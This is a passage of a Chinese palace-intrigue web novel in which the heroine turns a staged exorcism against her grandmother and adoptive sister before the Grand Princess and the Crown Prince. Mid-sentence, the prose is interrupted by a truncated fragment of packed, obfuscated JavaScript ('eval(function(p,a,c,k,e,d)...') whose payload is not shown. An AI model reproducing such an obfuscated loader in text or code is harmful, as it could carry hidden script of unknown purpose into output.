“此时若是不回府帮助大哥,才是断了自己的生路。”秦可云心里烦躁,但主意已定,不是小喜两三句就能改变的,“好了,去备车吧。” 长乐侯府,秦可云一下车,顾不上侯府压抑的气氛直接朝着秦怀瑾的院子走去。 一路上她听到不少下人之间的窃窃私语,大致都是在说老夫人请了道士,要除掉府中“妖孽”的事。 秦可云心里惦记秦怀瑾的事,没多想。 谁知她刚一进门,一股刺鼻的腐肉味扑面而来。 她有孕在身,虽然此时已过三月,孕吐反应缓解了不少,可突然闻到这样的恶臭味,还是让她忍不住干呕起来。 而此时,秦怀瑾正闭着眼躺在床上。 原本英俊的面容如今形同枯槁,被褥上全是干涸的血迹,散发着令人作呕的味道。 听到动静,秦怀瑾缓缓睁眼,看到是秦可云,他的眼里闪过一丝复杂的神色。 有痛苦,有不甘,还有一丝求救的意味。 看到这一幕,秦可云差点吐出来。 她强忍着不适,几步冲到床边握住秦怀瑾的手,故作心疼的哭道,“大哥,你这是怎么了?我一听到消息就来了,你,你这是……” “是秦时月,是秦时月那个**害我!”秦怀瑾虚弱不堪,但眼里却迸发出了浓烈的恨意。 这段时间他快被折磨疯了。 那些狗眼看人低的下人眼看他失势,竟一个个的爬到他头上作威作福。 不仅不给他找大夫,甚至给他送的饭菜都是馊的,臭的。 有一次,他还听到那个送饭的下人在门口咒骂他,嫌弃他浑身恶臭。 可这一切是他所愿意的吗?他下体溃烂流脓,屁股上烂了一个大洞,听长安说,腐肉下隐隐可以看到骨头…… 一想到这些,秦怀瑾打了个哆嗦,眼里满是惧意。 秦可云皱皱眉,有些不信。 秦时月是什么性子,她早就听长乐侯夫人说过,她不信秦时月这么狠辣。 可一想到她对自己做的那些事,秦可云又有些犹豫。 “可云,可云,你一定要帮帮我,现在整个侯府没人听我的话,他们根本不管我的死活,只有你,只有你能帮我了!” 秦可云挑挑眉,强忍着恶心掉下两滴虚情假意的眼泪,“大哥放心,虽然我过的不如意,但知道你出事,还是第一时间赶过来了,我一定会救你的!” 听到她的话,秦怀瑾放心了不少。 但她接下来的话,又让他陷入了绝望。 “不过,这件事还需要从长计议,你也知道,我现在是陆家的人,不好过多参与侯府的事。” 秦时月现在是什么情况她并不清楚,她不敢轻易再 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秦可云心思敏感,如何能感受不到老夫人的厌恶? 她咬咬下唇,拳头不自觉的捏紧,“祖母,我听说大哥出事了,放心不下,所以回来看看。” “你能有这份心就好。只是你已经嫁为人妇,家里的事还是少掺和的好。”老夫人是过来人,哪能看不出她别有用心? “祖母,我听下人说您请了道长,不知所为何事?”秦可云不死心,试探着问道。 老夫人挑挑眉,心里猜到了什么,试探问道,“府中有妖孽作祟,我请道长来除妖孽,你如今问起……可是想帮忙?” 秦可云心里明白,老夫人这是在暗示自己,她还明白,想要搬倒秦时月,这或许是她唯一的机会。 她咬了咬牙,说道,“祖母,可云方才去见了大哥,可云相信祖母和道长的判断,只要能救侯府,救大哥,无论付出什么代价,可云都愿意!” 第102章 好消息纷纷传来 听到她的回答,老夫人虽然对她还是不满,但眼里到底闪过一丝满意的神色,“你有这份心就好。只是此事还需从长计议,没别的事你就先回去吧,等我通知。” 就在这时,嬷嬷匆匆跑了进来,然后在老夫人耳边低语两句。 老夫人眼前一亮,随后看向秦可云,“刚来的消息,道长那边已经准备妥当,三日后便可开坛做法,铲除妖孽,可云,你可知该做什么?” 秦可云努力压下心头的惊喜,连连点头,“可云明白,祖母放心,可云这就回去下帖,邀请各世家大族来侯府观摩‘祈福’典礼。” 老夫人点点头,这一刻才将她看的顺眼了一些。 秦可云在离开长乐侯府的时候特意又去了一趟秦怀瑾的院子,并将老夫人的谋划说给了他听。 秦怀瑾起初有些疑惑。 他如今成了这副鬼样子,连院子都出不去,不明白她跟他说这些有什么用。 可在她提到卓家,提到母亲的时候,秦怀瑾明白了。 目送秦可云离开后,秦怀瑾疯狂大笑,平复下来后才唤来长安,让他亲自去卓府一趟。 明月芳华。 秦时月一边翻看账本,一边听梁斌的汇报,嘴角忍不住轻轻勾着。 没想到秦可云被自己算计了几次,竟然还没长记性,上一世自己被这种人欺辱,真的是自己蠢笨,呵。 “大小姐,需要属下做些部署吗?” 秦时月思索了一下,眼底闪过一丝狡黠,“左右闲着无事,你去照顾照顾那个老道士吧,记住,不要将人吓死。” 吓人? 梁斌有些意外,他以为,以秦时月的脾气会命他直接杀了那个老道士,然后一把化尸粉下去,让那个老道士彻底消失。 “不明白?” “明白,属下这就去做!”梁斌虽然不理解秦时月的用意,但还是领命离开了。 两日后。 梁斌和影夜分别带来了几个好消息。 老道士被梁斌吓的疑神疑鬼,见到任何人都战战兢兢,晚上做梦都在说梦话,一直喊“有鬼”什么的。 还有秦可云那边,动用长乐侯府和定远侯府的面子广发请帖,各世家大族几乎都拿到了请帖。 虽然他们对秦可云的行为很是不齿,但架不住秦时月如今风头大盛,想要巴结的**有人在,再加上定远侯府的面子,所以,大部分人承诺会来观礼。 而影夜这边带来的消息则是关于火铳和暗中培植人手的。 说是那位铁匠已经找到合适的材料,这两日就会连夜赶制,到时候会第一个拿回来给她检查。还有,他们已经招募到五个骨骼清奇的人才,已经开始按照秦时月的命令训练了。 这些消息对秦时月来说确实让人惊喜。 她嘴角的笑就没降下来过。 分别给两人安排了新任务后,她眸光微闪,嘴角带笑的低头又拨弄起了算盘。 如今一切就绪,就等长乐侯府的“祈福”盛典了。 傍晚时分,小荷匆匆进门,一进门就将一封书信递了上来,“小姐,这是天香楼的伙计送来的,说是您看完后就烧掉。” 秦时月回想起宋墨辰在离京时说过的话,做过的安排,立刻打开书信,并让小荷去门外守着。 信上只有寥寥几个字,“太子已安排好人手,不日将对王爷动手”。 看完后,秦时月的眸光却沉了下来。 她冷哼一声,抬手将信送到了跳跃的烛火上。 宋砚辞终于坐不住了…… 只是,不日动手,就是不能确定动手的确切时间。 想到这,秦时月有些头疼,红唇也不自觉的紧抿成一条线。 看来,她得想个办法,套套他的话。 想到这,秦时月起身坐在了书案前,提笔写下一封手书,做完这一切,她将小荷唤进来,叮嘱她最好将此信亲手交到太子手中,若实在见不到人,便交给太子府的下人。 小荷捏着信,匆匆离开。 秦时月不放心,又找来影夜,命他亲自去监视宋砚辞的一举一动,希望能够掌握他接下来的行动。 第二日,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完,她简单将老夫人的计划和盘托出,长公主当场变脸。 “什么?那老货怎么如此糊涂?竟然怀疑你被妖孽附身!” 第103章 胸有沟壑 太荒谬了! 长公主实在想不通他们为何会这样对待秦时月,明明秦时月是长乐侯府的嫡出大小姐,是秦家亲生的。 “殿下息怒,没什么好动气的。”秦时月笑道。 她早就看开了,毕竟这一世,所有的一切都在她的掌控之中。 长公主心疼的看着她,语调沉沉,“什么没什么好动气的,你能容忍,我容忍不了,你放心,有我在,没人敢动你!” 那什么臭道士届时要是敢乱说,她当场就让人将他打杀了,她倒要看看,自此之后还有没有人敢给时月找不痛快! 就在两人说话之际,老夫人身边的刘嬷嬷突然过来了。 在看到长公主的时候,她明显愣了一下,脸上闪过一丝不自在。 “大,大小姐,老夫人请您去前厅。” 秦时月心里发笑,面上却故作不解,“是出什么事了吗?我看今日来了不少世家大族的客人,可是父亲或祖母要宴客?” 刘嬷嬷嘴角抽搐。 这两日府上人来人往,下人们也口风不严,她就不信秦时月什么都没听说。 不过,当着长公主的面,她不敢放肆,忙恭敬回答,“回大小姐,是老夫人见夫人、大少爷、二小姐纷纷出事,担心侯爷和您的安危,所以特意请了清风山的道长来为侯府祈福。” 她这话说的,若是不清楚内幕的,必然会感动不已,可看在秦时月和长公主的眼里,却无比可笑。 长公主阴阳怪气的冷哼一声,然后道,“听闻长乐侯府的老夫人信佛,日日常伴青灯,今日祈福定然是用了心的。本宫也见过不少祈福的场面,今日本宫倒要好好看看那个道士有什么手腕。” 说完,她率先起身朝外走去。 秦时月见状,心里忍不住想笑,然后赶紧跟上。 看到这一幕,刘嬷嬷震惊不已,豆大的冷汗不受控制的从额头滑下。 怎么长公主驾到,没人向老夫人禀报?如今长公主要观礼,这可如何是好? 思索片刻,刘嬷嬷不敢耽搁,小碎步快速往老夫人的院子跑去。 她得快点将这件事告诉老夫人,也好让老夫人心里有个数。 此时,前厅已经高朋满座,所有人都在等着看祈福礼,也有凑到一起低声交谈的。 “冯姐姐,我怎么觉得长乐侯府有些阴森呀?”说着,少女搓搓手笔,小脸上全是慌张。 “谁说不是呢,我一进门就觉得阴风阵阵。” “也不怪侯府的老夫人着急,听说他家大公子前些日子领了家法,到如今都下不了地。” “没错没错,我也听说了,经常为我家看诊的那个大夫前日去了,说是他家大公子的伤势奇怪,什么好药都用上了,可就是愈合不了,那腐肉啊……咦~我都不敢想象那个画面……” 她们尽量控制着声音,可还是被人听了去。 联想到长乐侯府前段时间一直出事,所有人都觉得侯府不干净,纷纷觉得老夫人请道士来祈福是明智之举。 众人交谈间,对这场祈福礼也越发期待起来,都想看看那清风山的道长有什么神通,有的甚至在暗想,等这边的祈福礼结束,也要请道长去家里除除晦气。 不多时,长公主和秦时月在宫人、丫鬟的簇拥下进入前厅,众人先是愣了一下,回过神,立刻下跪请安。 谁能想到,一场祈福礼,连长公主都到了。 不过,这也从侧面印证了长乐侯府的地位,原本还有些不耐烦的,也都沉住气了。 长公主扫视一圈,面色不变,眼神意味不明,让众人免礼后才在主位坐下。 秦时月含笑和众人打招呼,随后站在了长公主身侧。 她端着一副温顺谦恭,落落大方的样子,丝毫没有县主、长乐侯府嫡女的架子,瞬间让众人多了几分亲切。 “我有幸参加过长公主殿下的琼花宴,我觉得明月县主并不像外界传言那般。” “谁说不是呢?前些日子我也有参加了明月县主举办的赏花宴,宴会上出了那样的丑事,明月县主不仅不怒,还为她那个恬不知耻的妹妹求情,这换做是我的话,还不让人把她打死?” “嘘……县主对外可从没承认过秦可云的身份,你们可别乱说,小心被县主听了去。” 秦时月跟着东方苑学习多年,这听力早就练出来了。 虽然几人刻意压低了嗓音,但还是被秦时月全部听了进去。 她捏着丝绢佯装擦拭嘴角,实则在掩饰眸中的城府和嘴角的笑意。 祖母活了大半辈子了,到如今都没搞明白,名声这东西向来是把双刃剑。 她想败坏自己的名声,可有皇后娘娘、辰王、长公主殿下做自己的后盾,这些见风使舵的,不用人提醒,就知道该怎么办。 而名声这东西,一旦败坏,就很难再挽回,如今秦时月倒希望老夫人和秦可云有能力处理好这一切,只有这样,她才不会太过失望。 就在这时,老夫人在秦可云的搀扶下缓缓走了进来,她们身后跟着一众丫鬟婆子。 她在看到长公主的时候不自觉攥了攥拳,随后还是拉着秦可云上前请安。 有长公主在,她这个老太君就不能坐主位,她面色不变,转而旁边的椅子走去。 “时月,坐在本宫身边,陪本宫说说话。” 老夫人刚撅着屁股要落座,长公主突然开口。 她脸色僵了僵,立刻装模作样的笑道,“是啊时月,你站在那做什么?快过来坐下,照顾好长公主。” 老夫人也不是白活这么大岁数的,自然能感受到长公主对她的不喜。 老夫人心里虽然不悦,但也只能先忍着,毕竟长公主身份尊贵,她得罪不起。 况且,秦时月现在得长公主喜欢越多,一会被道长指出她是妖孽化身,长公主对她的厌恶便会更多一分。 老夫人就等着看秦时月自取灭亡! 秦时月应了一声,莲步轻移,走到长公主身边坐下。 当初为了让秦时月难堪,老夫人特意只让在主位边放置了一把椅子,是给秦可云留的。 第104章 异变突发 如今长公主、秦时月各坐一个,老夫人被迫坐到了下首,那秦可云,只能站着。 可怜她挺着大肚子,却只能站在老夫人身后伺候。 她攥紧拳头,恨恨瞪向秦时月,不断在心里安慰自己:不要急,不要急,很快,很快这个贱人就会从神坛跌落下来,到时候这个贱人会被所有人厌弃、避之不及,到那个时候,她会让这个贱人求生不得求死不能! 秦可云眼底闪过一丝怨毒,不过很快就恢复了那副柔弱的模样。 很快,一个身穿道袍,两袖清风,手持拂尘的老道士在一群小道童的簇拥下走进前厅。 他故作高深莫测,目不斜视,大摇大摆的走到大厅正中间。 老夫人见状,赶忙起身,恭敬说道,“道长,此次侯府连连出事,还望道长能施展神通,保我侯府平安。” 老道士微微点头,目光在人群中流转一圈,最终落在秦时月身上,面上故意浮现出一丝震惊之色,眼神异样,像是看到了什么让人害怕的东西。 秦时月面带微笑,淡定自若的起身,朝他微微点头,“祖母说的是,还请道长帮侯府好好看看。” 老道士在心里冷笑一声,面色不变的说了句,“无量仙翁。” 之后,他一甩拂尘,身后的小道童们立刻上前开始布置。 不多时,八卦阵、桃木剑、朱砂等,开坛的法具全部布置妥当,一切准备就绪。 老道士口中念念有词,手持着桃木剑挥舞不停,做出一副正常驱邪祈福的样子。 周围人都好奇地盯着他,一些年轻的公子、贵女生怕漏看了什么,还满眼期待的起身,伸长了脖子观礼。 长公主则危险的眯着眼,一脸不屑的看着他装神弄鬼。 若不是秦时月提前跟她说过,她或许真的会和众人一样,将今日的“祈福”当成一乐。 可如今,她是越看越不满,脸色越看越黑。 不过,为了不影响秦时月的计划,她还是忍着,只是那双写满不悦的眸子,时不时看向老夫人。 祈福仪式完成的很快,老道士很快就进入了收尾阶段。 众人看的意味阑珊,可就在此时,变故突生。老道士手中的桃木剑突然射向秦时月。 这一幕惊的众人脸色当场巨变,看向秦时月的眼里充满了恐惧。 长公主在心里冷哼一声,正要发火,逆转再次出现。 只见秦时月面色不变,端着茶杯的小手指微不可查的翘了一下,一根细如毛发的银针从她的指尖飞出,下一秒,桃木剑直直朝老夫人射去。 老夫人原本以为胜券在握,脸上得意的神情还没收起,就看到桃木剑直接冲向自己,顿时被吓的脸色惨白,双腿发软,站,站不起来,躲,更是躲不掉,只能眼睁睁瞧着那把桃木剑刺向自己腹部。 随后“哐当”一声掉落在地。 好在桃木剑是木制,且没有开封,刺在身上并不觉得疼。 可饶是如此,周围人还是被吓得尖叫起来,三三两两凑到一起议论起来。 “天啊,这老夫人,不会是妖孽吧?” 谁人不知桃木剑有何功效? 起先他们看到老道士看秦时月目光不对,还觉得秦时月有问题。 可现在,那驱邪避祸的桃木剑竟然直接冲向了老夫人,这,这谁是妖孽,不是昭然若揭吗? 在桃木剑飞过来的时候,秦可云被吓的花容失色,下意识护住了自己的肚子。 如今反应过来,急忙扑过去,查看老夫人的情况,“祖母,祖母您没事吧?” 她声音颤抖,带着明显的不解和恐惧。 就连老道士都心里咯噔一下,暗叫不好。 这与他们原本计划的可不一样,他要做的,就是利用桃木剑驱邪的作用污蔑秦时月,可没想到这桃木剑竟然半路改了轨迹,直接飞向了老夫人…… 长公主还没反应过来发生了什么,嘴角已经带上笑意。 不用想也知道,这次的反转肯定是秦时月弄出来的,虽然她不知道她用了什么手段,但这手段,她是怎么看怎么舒爽。 秦时月慌忙放下茶杯,可因为太过震惊,茶杯没放闻,“啪”的一声掉在地上,摔的粉身碎骨。 “这,这是怎么回事?一定是哪里出了问题,祖母一生为侯府操劳,又一心向善,怎么会……怎么会是妖孽?” 她满脸惊慌,泪水不受控制的滑下,看上去可怜无助,却又楚楚动人,让人心生怜爱。 众人见她这般模样,心里不由自主的一阵心疼。 秦家原本家底一般,就因为秦时月救皇后娘娘有功,这才得了如今这些恩典。 可她也太惨了,摊上这样的祖母,害家里频频出事…… 老夫人感受到众人的目光,脸色铁青,心里却是又惊又怒。 她怎么也想不到事情为什么会发展成这样。 但即便事情成了这样,她也没想过这件事和秦时月有关,只以为是老道士失误造成的,立刻恶狠狠地瞪了老道士一眼。 老道士心里叫苦不迭,豆大的汗珠从额头上滚落,但还是强装镇定,结结巴巴的解释,“老夫人,贵府有妖孽!我这桃木剑能斩妖除魔,方才便是感受到府中不对劲,这才飞出来,只是这妖孽功力不俗,故意扰乱了桃木剑的轨迹!” 此言一出,秦可云立刻眼珠子一转,满脸惊恐的看向秦时月,“方才,我瞧着那桃木剑是朝姐姐去的,难不成……姐姐才是那个妖孽?” 众人心里大惊,纷纷想到了方才桃木剑射出时的方位,立刻离秦时月远远的,还将怀疑的目光投向了她。 看到大家的反应,老夫人心里松口气,脸色立刻严肃起来,“可云说的是,道长,你快想想办法,到底如何才能将这妖孽除去?” 老道士佯装沉思片刻,随后道,“此妖孽功力恐怕和贫道不相上下,只有将此妖孽封印,才能保侯府平安。” 秦时月眉头微挑。 这是,三两句就将“妖孽”这顶大帽子又扣到她头上了? 还真是好手段! 第105章 来的早不如来的巧 眼看那些小道童们手拿画满符篆的符纸逼上来,长公主脸色一沉,猛拍扶手一下。 可不等她开口,门口突然有人喊道:“太子殿下驾到~”。 众人齐齐看向门口,在看到宋砚辞身穿宫装,在下人们的簇拥下闲庭信步的走进来时,哗啦啦跪了一地。 长公主皱皱眉。 他这是刚下朝就赶过来了? 想到什么,她拧眉看向秦时月,眼里多了一丝疑问:难不成砚辞今日过来,也是时月谋划好的? “老身/臣女参见太子殿下。” 老夫人和秦可云脸色发白,但还是强装镇定的跪下行礼。 宋砚辞扫视一圈,没有理会众人,而是停到长公主面前,恭敬喊了声,“姑姑”。 长公主点了一下头。 “参见殿下。” 秦时月正要行稽首礼,宋砚辞却伸手,虚扶住了她,“时月不必多礼,大家也都起来吧,这里不是宫中,大家不用这样拘谨。” 他的动作让秦时月有些不适,但面上不变,乖巧谢恩。 宋砚辞将秦时月的反应看在眼里,满意的勾了勾唇,随后看向众人,“本宫来的不巧,不知这是发生了什么?” 所有人互看几眼,偏偏没人能猜透宋砚辞的心思,没一个敢站出来回话的。 老夫人咬咬牙,在秦可云的搀扶下福了福身子,“太子殿下,是这样的……” 她将刚才的事避重就轻的说了一下,字字句句都将矛头指向秦时月,半个字不提桃木剑射向自己的事。 她在赌。 当今圣上忌惮于辰王的势力,早就有收回兵权的心思,太子作为储君,定然不会想看到辰王再壮大下去。 而秦时月是长乐侯府嫡长女,虽然长乐侯府没什么底蕴人脉,是真正的有名无实,可只要秦时月活着一天,便是皇后娘娘的救命恩人,便是靖垣王朝的功臣。 这也意味着,皇后娘娘母族的势力便会成为宋墨辰和秦时月的最佳助力。 老夫人坚信,太子宋砚辞绝不会让这种危险存在。 其他人虽然觉得老夫人的话有失偏颇,但跟自己没关系,所以没人站出来。 秦时月淡然的看着这一幕,心中只想笑,老夫人这如意算盘打得响亮,而这些人……也真够凉薄的。 长公主冷哼一声,正要说话,突然,一道清丽的声音响起。 “殿下。臣女方才见那柄桃木剑刺中的是侯府老夫人,可老夫人闭口不提,这似乎,有些说不过去吧?” 秦时月怔愣一下,抬眸向那人看去。 是骁勇将军府嫡女,徐莹莹。 上一世,她在江南养病三年,回来已是物是人非,再之后便被困于后院,失去了自由,所以她对这位徐大小姐,知之甚少。 她现在站出来为自己证明,倒是让秦时月有些意外。 宋砚辞转头看向老道士,面上带笑,声音却透着不怒自威,“徐大小姐说的可是真的?还有,道长说这府中有妖孽,可有证据?” 长公主挑挑眉,看向宋砚辞的眼睛里多了一丝审视。 如果说,徐莹莹站出来为秦时月说话让她不可思议,那宋砚辞明显站在秦时月这边的问话,更让她感到震惊。 老道士心里一慌,额头上的汗珠更多,结结巴巴的回道,“回,回殿下,徐大小姐说的,说的是真的,而且这府中确实有妖孽作祟,只是,只是这妖孽法力高深,扰乱了桃木剑的判断,这才导致它飞向了老夫人……” 他心里叫苦不迭。 早知道今日长公主和太子殿下会观礼,他是如何也不敢当众卖弄的。 只是他这番话一出口,老夫人和秦可云当即脸色一变。 不等她们开口,秦时月向前一步,恭敬福了福身子,“殿下,民女受皇后娘娘和长公主殿下教导,向来与人为善,从未做过任何伤天害理之事。今日被祖母指认,民女实在想不明白。” 说着,她红了眼眶,然后期期艾艾的看向老道士,“道长既算出府中有妖孽作祟,不妨再施展一次神通,也好让长公主和太子殿下看看你口中的妖孽。” 老道士脸色大变。 他不过是收了老夫人的银子,配合演一场戏而已,哪有什么真正的神通? 况且,刚刚的“术法”是个只能使用一次的小机关,如今机关已用,他如何还能在众人面前使用第二次“飞剑”? 可如今长公主和太子都在,他若是不照做,恐怕性命难保…… 无奈之下,老道士只得硬着头皮捡起桃木剑,口中念念有词,再次挥动起来。 这次,桃木剑始终没有任何异常,老夫人和秦可云的脸色却越发难看,心里更是急的方寸大乱。 眼看老道士快要撑不住,老夫人咬紧后槽牙,再次站了出来,“够了!想必是那妖孽见长公主殿下和太子殿下两位贵人在,不敢放肆,所以道长寻不到踪迹,不如改日再……” 宋砚辞挑挑眉,似笑非笑的看向老夫人,目光锐利,“老夫人,长乐侯府近些日子屡屡出事,你作为侯府老太君,本应主持大局,稳定府中人心,却轻信道士之言怀疑明月县主,你可知这是何罪?” 老夫人心里一惊,双腿发软,扑通一声跪下,“殿下,老身冤枉啊!老身也是为了侯府着想,实在是侯府近来诸事不顺,老身这才病急乱投医……是,是这个道士,是他诓骗了老身啊!” 老道士已经被吓的丧失了说话的能力,他脸色惨白的看着老夫人,牙齿打颤,一个字都说不出来。 秦时月眼看时机已到,连忙帮老夫人说话,“殿下,祖母一心为侯府,时月相信她确实是受人蒙蔽,只是,祖母日日在佛堂常伴青灯,这个骗子是谁引荐给祖母的,居心何在……” 她说着,盈盈水眸漫不经心的落在了秦可云身上。 此时的秦可云早没了起初的得意,她惴惴不安的低着头,一声不敢吭,生怕火烧到自己身上。 可她怎么都想不到,她一句话不说,秦时月也能将矛头指向她,当即被吓的脸色一白,小腹一阵一阵的抽痛起来。 第106章 人都到齐了 众人顺着秦时月的目光看过去,纷纷看起了热闹。 那目光有同情,有厌恶。 长公主无奈的在心里笑笑,然后板着脸开口,“时月说的不错,若是任由那个居心不良的人留在侯府,只怕侯府才是真的永无安宁,老夫人,你说对吗?” 最后几个字,已经多了一丝威胁。 老夫人虽然不甘心,但也明白,事情到了这一步,除了断尾求生,将事情推到秦可云身上,她别无办法。 她咬咬牙,抬起头来,眼里闪过一丝狠厉和决绝,“长公主殿下说的是,这一切都是秦可云这个养女做的,是她将这个假道士引荐给我的!” “我没有,不是我……”秦可云双腿发软,噗通一声跪在地上,不断摇头,“殿下明鉴,我真的没有做过,是祖母,是她……” “放肆!侯府待你不薄,将你一个养女当做掌上明珠宠爱三年,可你不思进取,多次做出有损侯府名声的事,如今还敢狡辩!?” 老夫人怒目圆睁,哪敢让秦可云为自己辩解? 宋砚辞是没心思管这些后宅小事的,他只想尽快解决这些事,然后和秦时月好好“谈谈心”。 他大手一挥,直接冷声下令,“长乐侯府养女秦可云品行不端,意图构陷明月县主,本殿念你怀有身孕,死罪可免,活罪难逃。即日起,将你从长乐侯府除名,与侯府再无半点关系……” “殿下!” 宋砚辞还没说完话,大厅外突然传来一道焦急的声音。 母亲? 秦时月顺着声音看去,果然看到长乐侯夫人在下人的搀扶下缓缓走进来,她身后,还跟着被抬进来的,浑身恶臭的秦怀瑾。 他们一出现,除了老夫人、秦可云和下人们,所有人都捂住了鼻子,脸色相当精彩。 长乐侯夫人一进来就狠狠瞪了秦时月一眼,然后朝长公主和宋砚辞行了大礼,“臣妇病情初愈来晚了,还请二位殿下见谅。” 长公主一眼就看出了长乐侯夫人对秦时月的嫌恶和不满,但她也没有当场发作,毕竟,如今站在时月这边的不止她一人。 宋砚辞微微颔首,示意她起身,目光落在被抬进来的秦怀瑾身上,微不可查的皱了皱眉头。 长乐侯夫人看到挺着肚子的秦可云满脸是泪的跪在地上,心里顿时一紧,不仅不起身,反而恭敬的低着头求情,“殿下,可云虽然是臣妇的养女,但她如今已有几个月的身孕,还望殿下开恩,让她起来吧……” 秦可云在看到长乐侯夫人和秦怀瑾进门后明显松了一口气。 原以为长乐侯夫人指不上,没想到,她竟然清楚了。 太好了,有她在,她一定不会让自己出事! 宋砚辞心里不悦,但还是点了头。 秦可云忙起身,在长乐侯夫人的询问下,哭哭啼啼的将事情添油加醋说了一番,言语间,把自己描绘成了一个无辜受冤的可怜人,而冤枉她的,就是秦时月和老夫人。 长乐侯夫人听完,脸色变得极为难看。 但是对于老夫人,她不敢指摘,只能将怒火发泄到秦时月身上,“秦时月,你平日欺负可云就罢了,如今竟然还诬陷她,迷惑太子殿下,想将她从侯府除名,你怎能如此恶毒!?” 所有人都蒙了。 他们怎么都想不到,一个母亲,竟然会为了一个养女当众让自己的亲生女儿下不来台。 秦时月心中冷笑,早就想到了会是这样的结果。 她的小脸上写满委屈,然后紧抿着唇瓣开口,一副坚韧却又悲伤不已的样子,“母亲,女儿一直恪守本分,您怎么能这么说女儿呢?今日的事确实是秦可云做的,这是祖母亲口承认的,您不信,大可以问长公主和太子殿下。” 长公主黑着脸,声音有些阴沉,“明月县主所言不虚,今日的事本宫全程看在眼里,县主是冤枉的,有老夫人的证词在,可以确定,是秦可云蓄意构陷,太子的处置并无不妥。” 长乐侯夫人呼吸一滞,心里虽然不甘,但也不敢再多说什么。 秦怀瑾努力忽略众人看他时的表情,羞愤欲死的挣扎着支起身子,瞪着秦时月,“秦时月,就算长公主殿下说的都是实情,可我呢?你将我害到如此地步,你有什么好说的!” 他的声音虚弱不堪,却又充满恨意,一时间,让看热闹的众人伸长了脖子。 “兄长这话从何说起?明明是你自己行为不端,在外不睦兄弟,在内不尊长辈,还……还差点害姨娘流产,这才受了父亲的家法,这些与我何干?”秦时月委屈不已。 好家伙。 短短一句话,却将秦怀瑾这些日子做的荒唐事揭露了个遍。 众人听完这番话,再看向秦怀瑾时,目光只剩鄙夷和嫌弃。 秦怀瑾不知是被气的还是痛的,一时间,脸色铁青,身子止不住的颤抖,却又无法反驳。 宋砚辞似笑非笑的看着这场闹剧,心里对秦时月的兴趣越来越浓厚。 若说之前他对她的感觉只是流于表面,单纯的想要占有,那现在,就是想更多的了解她,让她心甘情愿的做自己的女人。 长乐侯夫人也没想到,他们及时赶到,不仅没有让事情反转,反而让所有人多看了侯府的笑话。 她紧紧攥着拳,看向秦时月的眼神恨不得掐死她,不过,好在她还没有到失去理智的时候。 深吸口气,努力让自己冷静下来,她扯着僵硬的嘴角开口,“原来是娘误会你了,既然是场误会,这件事就这么算了吧,来人,将这个骗子乱棍打出去!” 呦,这是知道他们站不住脚,打算退而求其次,把关键证人赶出去,再之后嘛,这个道士不知发生个什么意外,惨死街头? 秦时月强忍笑意,清清嗓子道,“娘亲,两位殿下还在。” 言外之意,你没有资格做决定。 长乐侯夫人脸色一白,身子摇晃一下。 她当然知道两位殿下在,正因为不想让他们再掺和进来,所以她才会直接下令。 第107章 尽在掌握 可她没想到,秦时月这个逆女……是铁了心的要害死她的一双儿女啊! “时月说的对,本宫既然管了这事,就该管到底。”宋砚辞正想给秦时月留下好感,见她提到自己,立刻一脸严肃的开口。 长公主则站在一边,默不作声。 可她的默不作声,也从侧面表达了她的意思,她,赞成秦时月的话。 “老夫人,长乐侯夫人,此次闹剧既然是贵府的养女闹出来的,这后果嘛,自然也该她承受,一切,按本宫先前的诏令办,不得有违。” 宋砚辞危险的眯着眼,声音不大,但气势十足,无一人再敢开口求情。 秦可云这次是真慌了,要知道,如今的她在京中“名声大噪”,所有人都知道,长乐侯府出了个荡妇。 若不是看在长乐侯府和定远侯府的面子上,根本不会有人理会她。 可现在,宋砚辞的一番话,算是把她推入了万劫不复的境地,今日来的,全是京中的世家大族,一旦此事落实,所有人都会知道,她是一枚弃子。 秦可云不敢再想下去,只能脸色惨白的跪倒在宋砚辞面前,涕泪恒流的开口求饶,“殿下,求求您饶了臣女吧,真的不是臣女做的……” 她哭得上气不接下气,眼里满是绝望。 宋砚辞不为所动,声音凉薄,“从你往日的行径来看,本宫并没有冤枉你,你这种人,心思歹毒,若是不加以严惩,日后不知还会做出什么丧心病狂的事。来人,拖下去!” 长乐侯夫人眼前一黑,身子摇摇欲坠。 可云是长乐侯府的贵人,她若是被赶出侯府,往后自己该指望谁? 她咬住舌尖,强迫自己冷静,然后攥紧拳头垂下了头。 此时长公主和太子都被秦时月这个妖女迷惑了,她不能子乱阵脚,否则才是真的无翻身之日…… “殿下。”长乐侯夫人正想着对策,秦时月却看着宋砚辞突然开口。 “祖母年纪大了,府中事物许多都力不从心,母亲又有疯病,今日正好您在,时月有个不情之请。” 老夫人和长乐侯夫人心里咯噔一下。 虽然不知道她要说什么,但从目前的情况来看,她一定不会说出什么好话。 “时月……”老夫人扯着僵硬的笑,眼神带着威胁的开口。 可秦时月却像听不到、看不到般,自顾自继续说道,“不如就从今日起,让祖母安心颐养天年,让母亲在后院养病,至于府中的大小事宜……” “臣妇没病!可以管理好侯府!”长乐侯夫人心中一急,脱口喊道。 好啊!这个小贱人竟然想越权!她这个做主母的还没死呢! 长公主垂眸勾勾唇,清清嗓子开口,“本宫觉得县主所言有理有据,夫人,县主也是孝心一片,你何不听听她是什么意思?” 长乐侯夫人简直要被气死了。 她怎么也没想到,自己不过是回来打个配合,不仅事态的发展超出了他们的预期,就连她统管全家的权利也即将溜走。 她越想越不甘心,可面对长公主和太子,她一个官眷,还能怎么办? “母亲,时月是想说,这段时间芳姨娘将侯府打点的很好,您大可以安心养病,将府中事宜尽数交给芳姨娘,待您养好病,这管家的权利,还是您的……”秦时月委屈的咬着下唇,眼眶发红。 长乐侯夫人的脸色一阵青一阵白,看向秦时月的目光越发狠戾。 秦时月是她的亲生女儿,如今竟和那个上不得台面的妾室纠缠到了一起,难不成她不清楚那个贱人是如何进府的?她不清楚自己有多膈应那个贱人? 看着她被自己气的胸膛起伏不断,却又拿自己无可奈何的样子,秦时月的心里一阵舒爽,可面上,却依旧是那副楚楚可怜,一副一心为侯府着想的模样。 众人见她这般,忍不住纷纷议论。 “县主真是孝心可嘉,我刚刚还以为她要掌家,没想到啊…” “你不知道,上次县主举办赏花宴,我见过侯府的姨娘,当时的宴会办的相当不错,上到宾客,下到侯府的下人,都对那位姨娘赞不绝口。” “明月县主小小年纪,竟如此深明大义,简直是女中豪杰。” 